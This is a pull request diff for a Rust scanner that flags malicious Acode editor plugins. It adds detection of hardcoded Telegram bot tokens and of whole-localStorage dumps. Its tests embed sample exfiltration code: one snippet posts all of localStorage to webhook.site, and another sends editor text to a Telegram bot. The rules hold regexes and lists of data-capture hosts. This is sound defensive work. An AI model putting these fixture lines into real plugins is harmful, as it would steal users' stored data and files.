Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
22 changes: 15 additions & 7 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -113,9 +113,17 @@ plugin as critical (`e.read()`, `n.copy()`, `window.cordova`, webpack's
- **Aggregation.** One finding per rule, stable key, and file, with an
occurrence count and up to 8 locations.
- **Endpoints are inventory.** URLs go into an `endpoints` list. Only known
exfiltration or payload hosts become findings: webhooks, request bins,
Telegram bot API, Apps Script, paste sites, tunnels, shorteners, raw public
IPs, `.onion`.
exfiltration or payload hosts become findings: request bins, paste sites,
tunnels, shorteners, raw public IPs, `.onion`. Telegram, Discord, Slack and
Apps Script URLs are High only when their secret (bot token, webhook id and
token, script id) is written into the plugin, since that channel belongs to
the author. Just the API base, with the token added at runtime from the
user's settings, is Low (`bot-api`). A Telegram bot token anywhere in a
string is `hardcoded_bot_token` (H), even when it is split from the URL.
- **Own storage is not user data.** Reading a plugin's own `localStorage`
keys doesn't count toward exfiltration. Dumping all of it (`Object.keys`,
`JSON.stringify(localStorage)`, spreading it, `for…in`, `.key(i)`) is
`web_storage_dump` (M) and does.
- **Base64 is decoded.** A long base64 string is only flagged when it decodes
to JavaScript.

Expand Down Expand Up @@ -171,11 +179,11 @@ plugin as critical (`e.read()`, `n.copy()`, `window.cordova`, webpack's
| Tampering | `core_module_override` (`acode.define("fs")` etc.) (C), `self_modify` (writes scripts or `plugin.json` where code is loaded from; C when the content is downloaded or it rewrites the entry/manifest, else H), `acode_api`, `cordova_bridge`, `network_hook`, `native_api` (hooks `system`, `Executor`, `sdcard`…), `dom_hook` (wraps `addEventListener`, `appendChild`, input `value`…), `ads`, `plugin_settings` (edits `pluginsDisabled`), `other_plugin`, `plugin_files` (writes into another plugin's folder), `rewards` (H), `editor_manager`, `define_dynamic`, `unmount_dynamic` (M) |
| Dynamic code | `remote_code`, `remote_import` (C), `remote_script`, `remote_worker`, `decoded_exec`, `indirect_function_constructor` (H), `eval`, `function_constructor`, `inline_script`, `script_blob`, `html_script`, `remote_html`, `decoded_html` (M: `innerHTML`, `insertAdjacentHTML`, `createContextualFragment`, `srcdoc`, `on*` attributes), `string_timer`, `script_element`, `import_expression`, `inline_handler` (L) |
| Acode API | `webview_remote_page` (M), `webview`, `webview_script`, `intent_module`, `intent_handler`, `require_dynamic` (L), `install_plugin` (M), `editor_hook`, `require_module`, `define_module`, `global_key_listener` (I) |
| Network | `suspicious_endpoint` (H/M/L by host type), `remote_command`, `acode_account_write` (H: non-GET to `acode.app/api`, which Acode sends with the user's cookies), `acode_account_read` (M), `native_http`, `remote_storage`, `local_server`, `beacon` (M), `fetch`, `xhr`, `websocket`, `event_source`, `open_browser` (L) |
| Filesystem / storage | `delete`, `sdcard_write`, `system_write`, `system_exec_bits`, `storage_access_request`, `cordova_file` (M), `write`, `sdcard_read`, `system_read`, `cookies`, `clipboard_read` (L), `read`, `module`, `plugin_dir`, `web_storage`, `indexeddb` (I) |
| Network | `suspicious_endpoint` (H/M/L by host type), `hardcoded_bot_token` (H), `remote_command`, `acode_account_write` (H: non-GET to `acode.app/api`, which Acode sends with the user's cookies), `acode_account_read` (M), `native_http`, `remote_storage`, `local_server`, `beacon` (M), `fetch`, `xhr`, `websocket`, `event_source`, `open_browser` (L) |
| Filesystem / storage | `delete`, `sdcard_write`, `system_write`, `system_exec_bits`, `storage_access_request`, `cordova_file`, `web_storage_dump` (M), `write`, `sdcard_read`, `system_read`, `cookies`, `clipboard_read` (L), `read`, `module`, `plugin_dir`, `web_storage`, `indexeddb` (I) |
| Obfuscation | `obfuscator_tool`, `packer`, `jsfuck`, `encoded_js_payload` (H), `js.parse_failed`, `js.too_large`, `js.invalid_utf8` (M), `escaped_strings`, `hex_array` (L) |
| WebAssembly | `remote_module` (H), `eval_import` (H, under dynamic code), `disguised`, `bad_magic`, `parse_failed` (M), `module`, `embedded_module` (L), `instantiate` (I) |
| Correlation | `exfiltration` (C): reads user data (files, editor text, storage, clipboard, keys, acode.app account) and talks to a data-capture endpoint |
| Correlation | `exfiltration` (C): reads user data (files, editor text, storage, clipboard, keys, acode.app account) and talks to a data-capture endpoint or a hardcoded bot token |

Prefixes are omitted in the table; full IDs look like `shell.exec`.

Expand All @@ -185,7 +193,7 @@ Prefixes are omitted in the table; full IDs look like `shell.exec`.
{
"schema_version": 2,
"scanner_version": "0.4.1",
"rules_version": "2026.11.2", // rescan stored plugins when this changes
"rules_version": "2026.11.3", // rescan stored plugins when this changes
"plugin": { "id", "name", "version", "main", "entry", "permissions", "dependencies", ... },
"verdict": { "risk": "high", "recommendation": "review", "complete": true, "reasons": ["..."] },
"summary": { "total_findings", "by_severity", "by_category" },
Expand Down
109 changes: 105 additions & 4 deletions src/analysis.rs
Original file line number Diff line number Diff line change
Expand Up @@ -248,13 +248,16 @@ fn correlate(report: &mut Report, sensitive_files: &[String]) {
.findings
.iter()
.filter(|finding| {
finding.id == "network.suspicious_endpoint" && finding.severity >= Severity::High
matches!(
finding.id.as_str(),
"network.suspicious_endpoint" | "network.hardcoded_bot_token"
) && finding.severity >= Severity::High
})
.map(|finding| {
.filter_map(|finding| {
finding
.key
.trim_start_matches("network.suspicious_endpoint:")
.to_string()
.split_once(':')
.map(|(_, host)| host.to_string())
})
.collect::<std::collections::BTreeSet<_>>()
.into_iter()
Expand Down Expand Up @@ -653,6 +656,104 @@ mod tests {
assert_eq!(report.verdict.recommendation, Recommendation::Block);
}

#[test]
fn bot_manager_with_runtime_token_is_not_exfiltration() {
let report = scan(&[
MANIFEST,
ICON,
README,
(
"main.js",
br#"acode.setPluginInit('com.example.p', () => {
const bots = JSON.parse(localStorage.getItem('bots') || '[]');
const api = (token, method, body) => fetch('https://api.telegram.org/bot' + token + '/' + method, { method: 'POST', body: JSON.stringify(body) });
for (const b of bots) api(b.token, 'getUpdates', { offset: b.offset });
localStorage.setItem('bots', JSON.stringify(bots));
});"#,
),
]);
assert!(
!report.has("correlation.exfiltration"),
"{:#?}",
report.findings
);
assert_eq!(
report.verdict.recommendation,
Recommendation::Pass,
"{:#?}",
report.findings
);
}

#[test]
fn hardcoded_bot_token_with_editor_read_is_blocked() {
// Built at runtime so no token-shaped literal sits in the source.
let token = format!("{}:{}", "7".repeat(10), "x".repeat(35));
let source = format!(
r#"acode.setPluginInit('com.example.p', () => {{
const k = '{token}';
const text = editorManager.activeFile.session.getValue();
fetch('https://api.telegram.org/bot' + k + '/sendMessage', {{ method: 'POST', body: JSON.stringify({{ chat_id: 1, text }}) }});
}});"#
);
let report = scan(&[MANIFEST, ICON, README, ("main.js", source.as_bytes())]);
assert!(
report.has("network.hardcoded_bot_token"),
"{:#?}",
report.findings
);
assert!(
report.has("correlation.exfiltration"),
"{:#?}",
report.findings
);
assert_eq!(report.verdict.recommendation, Recommendation::Block);
}

#[test]
fn web_storage_dump_to_webhook_is_blocked() {
let report = scan(&[
MANIFEST,
ICON,
README,
(
"main.js",
br#"acode.setPluginInit('com.example.p', () => {
fetch('https://webhook.site/x', { method: 'POST', body: JSON.stringify(localStorage) });
});"#,
),
]);
assert!(
report.has("storage.web_storage_dump"),
"{:#?}",
report.findings
);
assert!(report.has("correlation.exfiltration"));
assert_eq!(report.verdict.recommendation, Recommendation::Block);
}

#[test]
fn own_storage_keys_with_webhook_is_review_not_block() {
let report = scan(&[
MANIFEST,
ICON,
README,
(
"main.js",
br#"acode.setPluginInit('com.example.p', () => {
localStorage.setItem('seen', '1');
fetch('https://webhook.site/x', { method: 'POST', body: 'ping' });
});"#,
),
]);
assert!(
!report.has("correlation.exfiltration"),
"{:#?}",
report.findings
);
assert_eq!(report.verdict.recommendation, Recommendation::Review);
}

#[test]
fn unreadable_zip_is_an_error() {
let dir = tempfile::tempdir().unwrap();
Expand Down
2 changes: 1 addition & 1 deletion src/report.rs
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@ use crate::severity::{Category, Confidence, Severity};
/// Bumped whenever the JSON shape changes incompatibly.
pub const SCHEMA_VERSION: u32 = 2;
/// Bumped whenever rules or severities change, so stored reports can be rescanned.
pub const RULES_VERSION: &str = "2026.11.2";
pub const RULES_VERSION: &str = "2026.11.3";

/// Upper bound on extra source locations kept per aggregated finding.
const MAX_LOCATIONS: usize = 8;
Expand Down
127 changes: 108 additions & 19 deletions src/rules.rs
Original file line number Diff line number Diff line change
Expand Up @@ -105,6 +105,9 @@ pub struct FileFacts {
/// Reads data worth stealing: files, editor text, cookies, purchases, clipboard.
pub reads_sensitive_data: bool,
pub listens_to_keys: bool,
/// Whether the file dumps all of localStorage / sessionStorage; computed
/// on the first storage reference.
pub web_storage_dump: Option<bool>,
pub minified: bool,
/// WebAssembly modules inlined as base64 strings.
pub embedded_wasm: Vec<Vec<u8>>,
Expand Down Expand Up @@ -739,6 +742,31 @@ fn classify_fallback(ctx: &mut RuleContext<'_>, call: &Call<'_>) {
);
}

/// Code that walks or serialises the whole of web storage rather than
/// reading keys by name.
static WEB_STORAGE_DUMP: LazyLock<Regex> = LazyLock::new(|| {
let storage = r"(?:(?:window|globalThis|self)\s*\.\s*)?(?:local|session)Storage\b";
Regex::new(&format!(
r"Object\s*\.\s*(?:keys|values|entries|assign|getOwnPropertyNames)\s*\([^)]*?{storage}|JSON\s*\.\s*stringify\s*\(\s*{storage}\s*[,)]|\.\.\.\s*{storage}|\bin\s+{storage}|{storage}\s*\.\s*key\s*\("
))
.unwrap()
});

/// A Telegram bot token (`<bot id>:<35-char secret>`) written into the plugin.
static TELEGRAM_BOT_TOKEN: LazyLock<Regex> = LazyLock::new(|| {
Regex::new(r"(?:^|[^0-9A-Za-z_-])(\d{6,12}:[A-Za-z0-9_-]{30,50})(?:$|[^A-Za-z0-9_-])").unwrap()
});

/// Webhook and bot URLs that carry their secret in the URL itself. Written into
/// the plugin, they point at a channel the plugin author controls; built from
/// a token the user enters at runtime, they point at the user's own bot.
static WEBHOOK_WITH_SECRET: LazyLock<Regex> = LazyLock::new(|| {
Regex::new(
r"(?i)api\.telegram\.org/(?:file/)?bot\d+:[a-z0-9_-]+|discord(?:app)?\.com/api/webhooks/[^/\s]+/[^/\s?#]+|hooks\.slack\.com/(?:services|workflows|triggers)/[^\s?#]+|script\.google\.com/macros/s/[a-z0-9_-]+",
)
.unwrap()
});

static INLINE_HANDLER: LazyLock<Regex> = LazyLock::new(|| {
Regex::new(r#"(?i)[\s"'/]on[a-z]+\s*=|javascript:"#).expect("valid handler pattern")
});
Expand Down Expand Up @@ -2233,7 +2261,23 @@ pub fn classify_tamper_target(ctx: &mut RuleContext<'_>, span: Span, target: &st
pub fn classify_reference(ctx: &mut RuleContext<'_>, name: &str, span: Span) {
let (id, severity, category, message) = match name {
"localStorage" | "sessionStorage" => {
ctx.facts.reads_sensitive_data = true;
// A plugin reading its own keys is not user data. Dumping every
// key reads other plugins' and Acode's saved state, so that counts.
if ctx.facts.web_storage_dump.is_none() {
let dump = WEB_STORAGE_DUMP.find(ctx.source);
ctx.facts.web_storage_dump = Some(dump.is_some());
if let Some(dump) = dump {
ctx.facts.reads_sensitive_data = true;
ctx.add(
"storage.web_storage_dump",
Severity::Medium,
Category::Storage,
Some(Span::new(dump.start() as u32, dump.end() as u32)),
"Reads every localStorage / sessionStorage entry, including other plugins' saved data",
shorten(dump.as_str(), 120),
);
}
}
(
"storage.web_storage",
Severity::Info,
Expand Down Expand Up @@ -2276,6 +2320,23 @@ pub fn classify_string(ctx: &mut RuleContext<'_>, value: &str, span: Span) {
if value.len() >= 8 && value.contains("://") {
ctx.facts.urls.extend(extract_urls(value));
}
if value.len() >= 37
&& let Some(token) = TELEGRAM_BOT_TOKEN.captures(value).and_then(|c| c.get(1))
{
let token = token.as_str();
let (bot, _) = token.split_once(':').unwrap_or((token, ""));
ctx.push(
ctx.finding(
"network.hardcoded_bot_token",
Severity::High,
Category::Network,
Some(span),
"Contains a hardcoded Telegram bot token, so messages it sends go to the plugin author's bot",
format!("bot {bot}:…"),
)
.keyed("api.telegram.org"),
);
}
if let Some(module) = decode_wasm_payload(value) {
if ctx.facts.embedded_wasm.len() < MAX_EMBEDDED_WASM {
ctx.facts.embedded_wasm.push(module);
Expand Down Expand Up @@ -2557,33 +2618,49 @@ pub fn classify_endpoint(url: &str, host: &str) -> Option<EndpointRisk> {
})
};

if WEBHOOK_WITH_SECRET.is_match(&lower) {
return risk(
"webhook",
Some(Severity::High),
"Sends data to a webhook / bot whose secret is hardcoded in the plugin (a channel the author controls)",
);
}
if [
"discord.com/api/webhooks",
"discordapp.com/api/webhooks",
"api.telegram.org/bot",
"hooks.slack.com/services",
"api.telegram.org/file/bot",
"hooks.slack.com/",
"script.google.com/macros",
]
.iter()
.any(|needle| lower.contains(needle))
|| host_is(&[
"webhook.site",
"pipedream.net",
"requestbin.com",
"requestcatcher.com",
"beeceptor.com",
"interact.sh",
"oast.fun",
"oast.pro",
"oast.live",
"oast.site",
"oast.online",
"oast.me",
"burpcollaborator.net",
"canarytokens.com",
"hookbin.com",
])
{
// Only the API base is in the plugin; the secret comes from somewhere
// else at runtime, usually the user's own settings.
return risk(
"bot-api",
Some(Severity::Low),
"Uses a bot / webhook API with a token supplied at runtime",
);
}
if host_is(&[
"webhook.site",
"pipedream.net",
"requestbin.com",
"requestcatcher.com",
"beeceptor.com",
"interact.sh",
"oast.fun",
"oast.pro",
"oast.live",
"oast.site",
"oast.online",
"oast.me",
"burpcollaborator.net",
"canarytokens.com",
"hookbin.com",
]) {
return risk(
"webhook",
Some(Severity::High),
Expand Down Expand Up @@ -2878,6 +2955,18 @@ mod tests {
assert_eq!(tag("https://abc.ngrok-free.app/x"), Some("tunnel"));
assert_eq!(tag("http://45.12.1.9:8080/p"), Some("raw-ip"));
assert_eq!(tag("http://127.0.0.1:3000"), Some("local"));
// Built at runtime so no token-shaped literal sits in the source.
let token = format!("{}:{}", "1".repeat(9), "x".repeat(35));
assert_eq!(
tag(&format!("https://api.telegram.org/bot{token}/sendMessage")),
Some("webhook")
);
assert_eq!(tag("https://api.telegram.org/bot"), Some("bot-api"));
assert_eq!(tag("https://discord.com/api/webhooks/"), Some("bot-api"));
assert_eq!(
tag("https://script.google.com/macros/s/AKfycbx1abc/exec"),
Some("webhook")
);
assert_eq!(tag("https://discord.com/invite/x"), None);
assert_eq!(tag("https://acode.app/api"), None);
}
Expand Down
Loading